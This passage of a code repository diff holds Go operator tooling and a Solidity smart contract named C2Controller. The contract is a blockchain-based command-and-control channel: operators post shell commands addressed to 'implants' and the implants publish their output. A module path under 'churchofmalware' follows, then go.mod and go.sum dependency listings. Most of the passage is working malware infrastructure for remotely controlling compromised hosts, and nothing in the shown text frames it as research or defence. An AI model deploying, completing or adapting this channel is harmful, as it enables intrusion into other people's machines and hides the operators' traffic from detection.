client, auth, err := rpcAndWallet(rpcURL, pkHex)
if err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
os.Exit(1)
}
parsedABI := mustParseABI()
data, err := parsedABI.Pack("setOperator", opAddr, true)
if err != nil {
fmt.Fprintf(os.Stderr, "Pack error: %v\n", err)
os.Exit(1)
}
tx, err := sendTx(client, auth, contractAddr, data, 100000)
if err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
os.Exit(1)
}
fmt.Printf("Operator %s added. Tx: %s\n", opAddr.Hex(), tx.Hash().Hex())
}
// ──────────────────────────────────────────────
// Subcommand: watch
// ──────────────────────────────────────────────
func cmdWatch(args []string) {
args, _ = parseCommonFlags(args)
rpcURL := ""
contractAddr := common.Address{}
var filterImplant *[32]byte
if len(args) >= 2 {
rpcURL = args[0]
contractAddr = common.HexToAddress(args[1])
}
for i := 0; i < len(args); i++ {
if args[i] == "--implant" && i+1 < len(args) {
i++
hid, err := bytes32FromHex(args[i])
if err == nil {
filterImplant = &hid
}
}
}
if rpcURL == "" {
rpcURL = getEnvOrDefault("ETH_RPC_URL", "")
}
if rpcURL == "" {
fmt.Fprintln(os.Stderr, "RPC URL required (arg or ETH_RPC_URL)")
os.Exit(1)
}
if contractAddr == (common.Address{}) {
c := getEnvOrDefault("CONTRACT_ADDR", "")
if c == "" {
fmt.Fprintln(os.Stderr, "Contract address required (arg or CONTRACT_ADDR)")
os.Exit(1)
}
contractAddr = common.HexToAddress(c)
}
client, err := ethclient.Dial(rpcURL)
if err != nil {
fmt.Fprintf(os.Stderr, "Dial: %v\n", err)
os.Exit(1)
}
parsedABI := mustParseABI()
cmdIssuedSig := crypto.Keccak256Hash([]byte("CommandIssued(bytes32,bytes32,string,uint256)"))
resultSubSig := crypto.Keccak256Hash([]byte("ResultSubmitted(bytes32,bytes32,bytes32,string,uint256)"))
fmt.Printf("Watching contract %s on %s...\n", contractAddr.Hex(), rpcURL)
fmt.Println("Press Ctrl+C to stop.\n")
var lastBlock uint64
for {
header, err := client.HeaderByNumber(context.Background(), nil)
if err != nil {
time.Sleep(5 * time.Second)
continue
}
currentBlock := header.Number.Uint64()
if currentBlock <= lastBlock {
time.Sleep(3 * time.Second)
continue
}
fromBlock := lastBlock
if fromBlock == 0 {
fromBlock = currentBlock
}
lastBlock = currentBlock
logs, err := client.FilterLogs(nil, ethereum.FilterQuery{
FromBlock: new(big.Int).SetUint64(fromBlock),
ToBlock: new(big.Int).SetUint64(currentBlock),
Addresses: []common.Address{contractAddr},
})
if err != nil {
time.Sleep(3 * time.Second)
continue
}
for _, vLog := range logs {
switch vLog.Topics[0] {
case cmdIssuedSig:
if len(vLog.Topics) < 3 {
continue
}
var implantID [32]byte
copy(implantID[:], vLog.Topics[1].Bytes())
if filterImplant != nil && implantID != *filterImplant {
continue
}
type CmdEvent struct {
Command string `json:"0"`
Timestamp *big.Int `json:"1"`
}
var ev CmdEvent
if err := parsedABI.UnpackIntoInterface(&ev, "CommandIssued", vLog.Data); err == nil {
t := time.Unix(ev.Timestamp.Int64(), 0)
fmt.Printf("[CMD] implant=0x%x at %s\n", implantID, t.Format(time.RFC3339))
fmt.Printf(" command: %s\n", truncate(ev.Command, 120))
}
case resultSubSig:
if len(vLog.Topics) < 4 {
continue
}
var implantID [32]byte
copy(implantID[:], vLog.Topics[1].Bytes())
if filterImplant != nil && implantID != *filterImplant {
continue
}
type ResEvent struct {
Result string `json:"0"`
Timestamp *big.Int `json:"1"`
}
var ev ResEvent
if err := parsedABI.UnpackIntoInterface(&ev, "ResultSubmitted", vLog.Data); err == nil {
t := time.Unix(ev.Timestamp.Int64(), 0)
fmt.Printf("[RES] implant=0x%x at %s\n", implantID, t.Format(time.RFC3339))
fmt.Printf(" output: %s\n", truncate(ev.Result, 120))
}
}
}
time.Sleep(3 * time.Second)
}
}
@@ -0,0 +1,218 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title C2Controller
* @notice Blockchain-based Command & Control — commands in, results out.
* Operators issue commands. Implants poll for commands and submit results.
* Command reads are public + free (no gas). Results are public by design.
*/
contract C2Controller is Ownable {
// ──────────────────────────────────────────────
// Types
// ──────────────────────────────────────────────
/// @notice A single command targeted at an implant.
struct Command {
string data; // the raw command string
bool active; // true until ack/deletion
}
/// @notice A result submitted by an implant.
struct Result {
string data;
uint256 timestamp;
bytes32 commandId; // link back to the original command
}
// ──────────────────────────────────────────────
// State
// ──────────────────────────────────────────────
/// @notice implantID => commandId => Command
mapping(bytes32 => mapping(bytes32 => Command)) public commands;
/// @notice implantID => list of active command IDs
mapping(bytes32 => bytes32[]) private _activeCommands;
/// @notice Unique result ID (incrementing) => Result
mapping(bytes32 => Result) public results;
/// @notice Authorised operator addresses (in addition to owner).
mapping(address => bool) public operators;
/// @notice Total result count (for enumeration).
bytes32[] private _resultIds;
// ──────────────────────────────────────────────
// Events
// ──────────────────────────────────────────────
/// @notice Emitted when an operator issues a command.
event CommandIssued(
bytes32 indexed implantId,
bytes32 indexed commandId,
string command,
uint256 timestamp
);
/// @notice Emitted when an implant submits a result.
event ResultSubmitted(
bytes32 indexed implantId,
bytes32 indexed commandId,
bytes32 indexed resultId,
string result,
uint256 timestamp
);
/// @notice Emitted when an operator is added or removed.
event OperatorUpdated(address indexed operator, bool active);
// ──────────────────────────────────────────────
// Modifiers
// ──────────────────────────────────────────────
modifier onlyOperator() {
require(owner() == _msgSender() || operators[_msgSender()],
"C2Controller: caller is not an operator");
_;
}
// ──────────────────────────────────────────────
// Constructor
// ──────────────────────────────────────────────
/// @param initialOperator An additional operator address (can be address(0)).
constructor(address initialOperator) Ownable(_msgSender()) {
if (initialOperator != address(0)) {
operators[initialOperator] = true;
emit OperatorUpdated(initialOperator, true);
}
}
// ──────────────────────────────────────────────
// Operator Management
// ──────────────────────────────────────────────
/// @notice Add or remove an operator (owner only).
function setOperator(address op, bool active) external onlyOwner {
operators[op] = active;
emit OperatorUpdated(op, active);
}
// ──────────────────────────────────────────────
// Command Lifecycle
// ──────────────────────────────────────────────
/// @notice Issue a command to a specific implant.
/// @param implantId Unique implant identifier (e.g. keccak256(hostname)).
/// @param command Raw command string (can be any shell command).
function issueCommand(bytes32 implantId, string calldata command)
external
onlyOperator
{
bytes32 cmdId = keccak256(abi.encodePacked(implantId, command, block.timestamp));
commands[implantId][cmdId] = Command({
data: command,
active: true
});
_activeCommands[implantId].push(cmdId);
emit CommandIssued(implantId, cmdId, command, block.timestamp);
}
/// @notice Read a pending command (public / view — free, no gas).
/// @return The command string, or empty string if not found or inactive.
function getCommand(bytes32 implantId, bytes32 commandId)
external
view
returns (string memory)
{
Command storage c = commands[implantId][commandId];
if (!c.active) return "";
return c.data;
}
/// @notice Get all active command IDs for an implant.
function getActiveCommands(bytes32 implantId)
external
view
returns (bytes32[] memory)
{
return _activeCommands[implantId];
}
/// @notice Get the latest active command for an implant (convenience).
/// @return The command string, or empty if none pending.
function getLatestCommand(bytes32 implantId)
external
view
returns (string memory)
{
bytes32[] storage ids = _activeCommands[implantId];
if (ids.length == 0) return "";
bytes32 latestId = ids[ids.length - 1];
Command storage c = commands[implantId][latestId];
if (!c.active) return "";
return c.data;
}
/// @notice Acknowledge (deactivate) a command without submitting a result.
function ackCommand(bytes32 implantId, bytes32 commandId) external {
commands[implantId][commandId].active = false;
}
// ──────────────────────────────────────────────
// Result Submission
// ──────────────────────────────────────────────
/// @notice Submit a command result (anyone can call; implants submit their own).
/// @param implantId The implant identifier.
/// @param commandId The command identifier this result is for.
/// @param result The output / error string.
function submitResult(
bytes32 implantId,
bytes32 commandId,
string calldata result
) external {
// Deactivate the command on first result submission.
commands[implantId][commandId].active = false;
bytes32 resultId = keccak256(
abi.encodePacked(implantId, commandId, result, block.timestamp)
);
results[resultId] = Result({
data: result,
timestamp: block.timestamp,
commandId: commandId
});
_resultIds.push(resultId);
emit ResultSubmitted(implantId, commandId, resultId, result, block.timestamp);
}
/// @notice Read a submitted result (public view — free).
function getResult(bytes32 resultId)
external
view
returns (string memory data, uint256 timestamp, bytes32 commandId)
{
Result storage r = results[resultId];
return (r.data, r.timestamp, r.commandId);
}
/// @notice Get result count (for enumeration / off-chain pagination).
function resultCount() external view returns (uint256) {
return _resultIds.length;
}
/// @notice Get result ID by index.
function resultIdAtIndex(uint256 idx) external view returns (bytes32) {
return _resultIds[idx];
}
}
+36
View File
@@ -0,0 +1,36 @@
module github.com/churchofmalware/c2-blockchain-contract
go 1.26
require github.com/ethereum/go-ethereum v1.15.0
require (
github.com/Microsoft/go-winio v0.6.2 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/bits-and-blooms/bitset v1.17.0 // indirect
github.com/consensys/bavard v0.1.22 // indirect
github.com/consensys/gnark-crypto v0.14.0 // indirect
github.com/crate-crypto/go-ipa v0.0.0-20240724233137-53bbb0ceb27a // indirect
github.com/crate-crypto/go-kzg-4844 v1.1.0 // indirect
github.com/deckarep/golang-set/v2 v2.6.0 // indirect
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1 // indirect
github.com/ethereum/c-kzg-4844 v1.0.0 // indirect
github.com/ethereum/go-verkle v0.2.2 // indirect
github.com/fsnotify/fsnotify v1.6.0 // indirect
github.com/go-ole/go-ole v1.3.0 // indirect
github.com/google/uuid v1.3.0 // indirect
github.com/gorilla/websocket v1.4.2 // indirect
github.com/holiman/uint256 v1.3.2 // indirect
github.com/mmcloughlin/addchain v0.4.0 // indirect
github.com/shirou/gopsutil v3.21.4-0.20210419000835-c7a38de76ee5+incompatible // indirect
github.com/supranational/blst v0.3.13 // indirect
github.com/tklauser/go-sysconf v0.3.12 // indirect
github.com/tklauser/numcpus v0.6.1 // indirect
golang.org/x/crypto v0.32.0 // indirect
golang.org/x/exp v0.0.0-20231110203233-9a3e6036ecaa // indirect
golang.org/x/sync v0.10.0 // indirect
golang.org/x/sys v0.29.0 // indirect
rsc.io/tmplfunc v0.0.3 // indirect
)
// go-ethereum transitive dependencies — resolved by `go mod tidy`
+188
View File
@@ -0,0 +1,188 @@
github.com/DataDog/zstd v1.4.5 h1:EndNeuB0l9syBZhut0wns3gV1hL8zX8LIu6ZiVHWLIQ=
github.com/DataDog/zstd v1.4.5/go.mod h1:1jcaCB/ufaK+sKp1NBhlGmpz41jOoPQ35bpF36t7BBo=
github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY=
github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU=
github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA=
github.com/StackExchange/wmi v1.2.1/go.mod h1:rcmrprowKIVzvc+NUiLncP2uuArMWLCbu9SBzvHz7e8=
github.com/VictoriaMetrics/fastcache v1.12.2 h1:N0y9ASrJ0F6h0QaC3o6uJb3NIZ9VKLjCM7NQbSmF7WI=
github.com/VictoriaMetrics/fastcache v1.12.2/go.mod h1:AmC+Nzz1+3G2eCPapF6UcsnkThDcMsQicp4xDukwJYI=
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/bits-and-blooms/bitset v1.17.0 h1:1X2TS7aHz1ELcC0yU1y2stUs/0ig5oMU6STFZGrhvHI=
github.com/bits-and-blooms/bitset v1.17.0/go.mod h1:7hO7Gc7Pp1vODcmWvKMRA9BNmbv6a/7QIWpPxHddWR8=
github.com/cespare/cp v0.1.0 h1:SE+dxFebS7Iik5LK0tsi1k9ZCxEaFX4AjQmoyA+1dJk=
github.com/cespare/cp v0.1.0/go.mod h1:SOGHArjBr4JWaSDEVpWpo/hNg6RoKrls6Oh40hiwW+s=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/cockroachdb/errors v1.11.3 h1:5bA+k2Y6r+oz/6Z/RFlNeVCesGARKuC6YymtcDrbC/I=
github.com/cockroachdb/errors v1.11.3/go.mod h1:m4UIW4CDjx+R5cybPsNrRbreomiFqt8o1h1wUVazSd8=
github.com/cockroachdb/fifo v0.0.0-20240606204812-0bbfbd93a7ce h1:giXvy4KSc/6g/esnpM7Geqxka4WSqI1SZc7sMJFd3y4=
github.com/cockroachdb/fifo v0.0.0-20240606204812-0bbfbd93a7ce/go.mod h1:9/y3cnZ5GKakj/H4y9r9GTjCvAFta7KLgSHPJJYc52M=
github.com/cockroachdb/logtags v0.0.0-20230118201751-21c54148d20b h1:r6VH0faHjZeQy818SGhaone5OnYfxFR/+AzdY3sf5aE=
github.com/cockroachdb/logtags v0.0.0-20230118201751-21c54148d20b/go.mod h1:Vz9DsVWQQhf3vs21MhPMZpMGSht7O/2vFW2xusFUVOs=
github.com/cockroachdb/pebble v1.1.2 h1:CUh2IPtR4swHlEj48Rhfzw6l/d0qA31fItcIszQVIsA=
github.com/cockroachdb/pebble v1.1.2/go.mod h1:4exszw1r40423ZsmkG/09AFEG83I0uDgfujJdbL6kYU=
github.com/cockroachdb/redact v1.1.5 h1:u1PMllDkdFfPWaNGMyLD1+so+aq3uUItthCFqzwPJ30=
github.com/cockroachdb/redact v1.1.5/go.mod h1:BVNblN9mBWFyMyqK1k3AAiSxhvhfK2oOZZ2lK+dpvRg=
github.com/cockroachdb/tokenbucket v0.0.0-20230807174530-cc333fc44b06 h1:zuQyyAKVxetITBuuhv3BI9cMrmStnpT18zmgmTxunpo=
github.com/cockroachdb/tokenbucket v0.0.0-20230807174530-cc333fc44b06/go.mod h1:7nc4anLGjupUW/PeY5qiNYsdNXj7zopG+eqsS7To5IQ=
github.com/consensys/bavard v0.1.22 h1:Uw2CGvbXSZWhqK59X0VG/zOjpTFuOMcPLStrp1ihI0A=
github.com/consensys/bavard v0.1.22/go.mod h1:k/zVjHHC4B+PQy1Pg7fgvG3ALicQw540Crag8qx+dZs=
github.com/consensys/gnark-crypto v0.14.0 h1:DDBdl4HaBtdQsq/wfMwJvZNE80sHidrK3Nfrefatm0E=
github.com/consensys/gnark-crypto v0.14.0/go.mod h1:CU4UijNPsHawiVGNxe9co07FkzCeWHHrb1li/n1XoU0=
github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/crate-crypto/go-ipa v0.0.0-20240724233137-53bbb0ceb27a h1:W8mUrRp6NOVl3J+MYp5kPMoUZPp7aOYHtaua31lwRHg=
github.com/crate-crypto/go-ipa v0.0.0-20240724233137-53bbb0ceb27a/go.mod h1:sTwzHBvIzm2RfVCGNEBZgRyjwK40bVoun3ZnGOCafNM=
github.com/crate-crypto/go-kzg-4844 v1.1.0 h1:EN/u9k2TF6OWSHrCCDBBU6GLNMq88OspHHlMnHfoyU4=
github.com/crate-crypto/go-kzg-4844 v1.1.0/go.mod h1:JolLjpSff1tCCJKaJx4psrlEdlXuJEC996PL3tTAFks=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/deckarep/golang-set/v2 v2.6.0 h1:XfcQbWM1LlMB8BsJ8N9vW5ehnnPVIw0je80NsVHagjM=
github.com/deckarep/golang-set/v2 v2.6.0/go.mod h1:VAky9rY/yGXJOLEDv3OMci+7wtDpOF4IN+y82NBOac4=
github.com/decred/dcrd/crypto/blake256 v1.0.0 h1:/8DMNYp9SGi5f0w7uCm6d6M4OU2rGFK09Y2A4Xv7EE0=
github.com/decred/dcrd/crypto/blake256 v1.0.0/go.mod h1:sQl2p6Y26YV+ZOcSTP6thNdn47hh8kt6rqSlvmrXFAc=
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1 h1:YLtO71vCjJRCBcrPMtQ9nqBsqpA1m5sE92cU+pd5Mcc=
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1/go.mod h1:hyedUtir6IdtD/7lIxGeCxkaw7y45JueMRL4DIyJDKs=
github.com/ethereum/c-kzg-4844 v1.0.0 h1:0X1LBXxaEtYD9xsyj9B9ctQEZIpnvVDeoBx8aHEwTNA=
github.com/ethereum/c-kzg-4844 v1.0.0/go.mod h1:VewdlzQmpT5QSrVhbBuGoCdFJkpaJlO1aQputP83wc0=
github.com/ethereum/go-ethereum v1.15.0 h1:LLb2jCPsbJZcB4INw+E/MgzUX5wlR6SdwXcv09/1ME4=
github.com/ethereum/go-ethereum v1.15.0/go.mod h1:4q+4t48P2C03sjqGvTXix5lEOplf5dz4CTosbjt5tGs=
github.com/ethereum/go-verkle v0.2.2 h1:I2W0WjnrFUIzzVPwm8ykY+7pL2d4VhlsePn4j7cnFk8=
github.com/ethereum/go-verkle v0.2.2/go.mod h1:M3b90YRnzqKyyzBEWJGqj8Qff4IDeXnzFw0P9bFw3uk=
github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY=
github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw=
github.com/getsentry/sentry-go v0.27.0 h1:Pv98CIbtB3LkMWmXi4Joa5OOcwbmnX88sF5qbK3r3Ps=
github.com/getsentry/sentry-go v0.27.0/go.mod h1:lc76E2QywIyW8WuBnwl8Lc4bkmQH4+w1gwTf25trprY=
github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
github.com/gofrs/flock v0.8.1 h1:+gYjHKf32LDeiEEFhQaotPbLuUXjY5ZqxKgXy7n59aw=
github.com/gofrs/flock v0.8.1/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14jxHU=
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
github.com/golang-jwt/jwt/v4 v4.5.1 h1:JdqV9zKUdtaa9gdPlywC3aeoEsR681PlKC+4F5gQgeo=
github.com/golang-jwt/jwt/v4 v4.5.1/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=
github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
github.com/golang/snappy v0.0.5-0.20220116011046-fa5810519dcb h1:PBC98N2aIaM3XXiurYmW7fx4GZkL8feAMVq7nEjURHk=
github.com/golang/snappy v0.0.5-0.20220116011046-fa5810519dcb/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/subcommands v1.2.0/go.mod h1:ZjhPrFU+Olkh9WazFPsl27BQ4UPiG37m3yTrtFlrHVk=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/hashicorp/go-bexpr v0.1.10 h1:9kuI5PFotCboP3dkDYFr/wi0gg0QVbSNz5oFRpxn4uE=
github.com/hashicorp/go-bexpr v0.1.10/go.mod h1:oxlubA2vC/gFVfX1A6JGp7ls7uCDlfJn732ehYYg+g0=
github.com/holiman/billy v0.0.0-20240216141850-2abb0c79d3c4 h1:X4egAf/gcS1zATw6wn4Ej8vjuVGxeHdan+bRb2ebyv4=
github.com/holiman/billy v0.0.0-20240216141850-2abb0c79d3c4/go.mod h1:5GuXa7vkL8u9FkFuWdVvfR5ix8hRB7DbOAaYULamFpc=
github.com/holiman/bloomfilter/v2 v2.0.3 h1:73e0e/V0tCydx14a0SCYS/EWCxgwLZ18CZcZKVu0fao=
github.com/holiman/bloomfilter/v2 v2.0.3/go.mod h1:zpoh+gs7qcpqrHr3dB55AMiJwo0iURXE7ZOP9L9hSkA=
github.com/holiman/uint256 v1.3.2 h1:a9EgMPSC1AAaj1SZL5zIQD3WbwTuHrMGOerLjGmM/TA=
github.com/holiman/uint256 v1.3.2/go.mod h1:EOMSn4q6Nyt9P6efbI3bueV4e1b3dGlUCXeiRV4ng7E=
github.com/huin/goupnp v1.3.0 h1:UvLUlWDNpoUdYzb2TCn+MuTWtcjXKSza2n6CBdQ0xXc=
github.com/huin/goupnp v1.3.0/go.mod h1:gnGPsThkYa7bFi/KWmEysQRf48l2dvR5bxr2OFckNX8=
github.com/jackpal/go-nat-pmp v1.0.2 h1:KzKSgb7qkJvOUTqYl9/Hg/me3pWgBmERKrTGD7BdWus=
github.com/jackpal/go-nat-pmp v1.0.2/go.mod h1:QPH045xvCAeXUZOxsnwmrtiCoxIr9eob+4orBN1SBKc=
github.com/klauspost/compress v1.16.0 h1:iULayQNOReoYUe+1qtKOqw9CwJv3aNQu8ivo7lw1HU4=
github.com/klauspost/compress v1.16.0/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/leanovate/gopter v0.2.11 h1:vRjThO1EKPb/1NsDXuDrzldR28RLkBflWYcU9CvzWu4=
github.com/leanovate/gopter v0.2.11/go.mod h1:aK3tzZP/C+p1m3SPRE4SYZFGP7jjkuSI4f7Xvpt0S9c=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/matttproud/golang_protobuf_extensions v1.0.2-0.20181231171920-c182affec369 h1:I0XW9+e1XWDxdcEniV4rQAIOPUGDq67JSCiRCgGCZLI=
github.com/matttproud/golang_protobuf_extensions v1.0.2-0.20181231171920-c182affec369/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4=
github.com/mitchellh/mapstructure v1.4.1 h1:CpVNEelQCZBooIPDn+AR3NpivK/TIKU8bDxdASFVQag=
github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
github.com/mitchellh/pointerstructure v1.2.0 h1:O+i9nHnXS3l/9Wu7r4NrEdwA2VFTicjUEN1uBnDo34A=
github.com/mitchellh/pointerstructure v1.2.0/go.mod h1:BRAsLI5zgXmw97Lf6s25bs8ohIXc3tViBH44KcwB2g4=
github.com/mmcloughlin/addchain v0.4.0 h1:SobOdjm2xLj1KkXN5/n0xTIWyZA2+s99UCY1iPfkHRY=
github.com/mmcloughlin/addchain v0.4.0/go.mod h1:A86O+tHqZLMNO4w6ZZ4FlVQEadcoqkyU72HC5wJ4RlU=
github.com/mmcloughlin/profile v0.1.1/go.mod h1:IhHD7q1ooxgwTgjxQYkACGA77oFTDdFVejUS1/tS/qU=
github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
github.com/pion/dtls/v2 v2.2.7 h1:cSUBsETxepsCSFSxC3mc/aDo14qQLMSL+O6IjG28yV8=
github.com/pion/dtls/v2 v2.2.7/go.mod h1:8WiMkebSHFD0T+dIU+UeBaoV7kDhOW5oDCzZ7WZ/F9s=
github.com/pion/logging v0.2.2 h1:M9+AIj/+pxNsDfAT64+MAVgJO0rsyLnoJKCqf//DoeY=
github.com/pion/logging v0.2.2/go.mod h1:k0/tDVsRCX2Mb2ZEmTqNa7CWsQPc+YYCB7Q+5pahoms=
github.com/pion/stun/v2 v2.0.0 h1:A5+wXKLAypxQri59+tmQKVs7+l6mMM+3d+eER9ifRU0=
github.com/pion/stun/v2 v2.0.0/go.mod h1:22qRSh08fSEttYUmJZGlriq9+03jtVmXNODgLccj8GQ=
github.com/pion/transport/v2 v2.2.1 h1:7qYnCBlpgSJNYMbLCKuSY9KbQdBFoETvPNETv0y4N7c=
github.com/pion/transport/v2 v2.2.1/go.mod h1:cXXWavvCnFF6McHTft3DWS9iic2Mftcz1Aq29pGcU5g=
github.com/pion/transport/v3 v3.0.1 h1:gDTlPJwROfSfz6QfSi0ZmeCSkFcnWWiiR9ES0ouANiM=
github.com/pion/transport/v3 v3.0.1/go.mod h1:UY7kiITrlMv7/IKgd5eTUcaahZx5oUN3l9SzK5f5xE0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/client_golang v1.12.0 h1:C+UIj/QWtmqY13Arb8kwMt5j34/0Z2iKamrJ+ryC0Gg=
github.com/prometheus/client_golang v1.12.0/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY=
github.com/prometheus/client_model v0.2.1-0.20210607210712-147c58e9608a h1:CmF68hwI0XsOQ5UwlBopMi2Ow4Pbg32akc4KIVCOm+Y=
github.com/prometheus/client_model v0.2.1-0.20210607210712-147c58e9608a/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w=
github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4=
github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls=
github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU=
github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA=
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8=
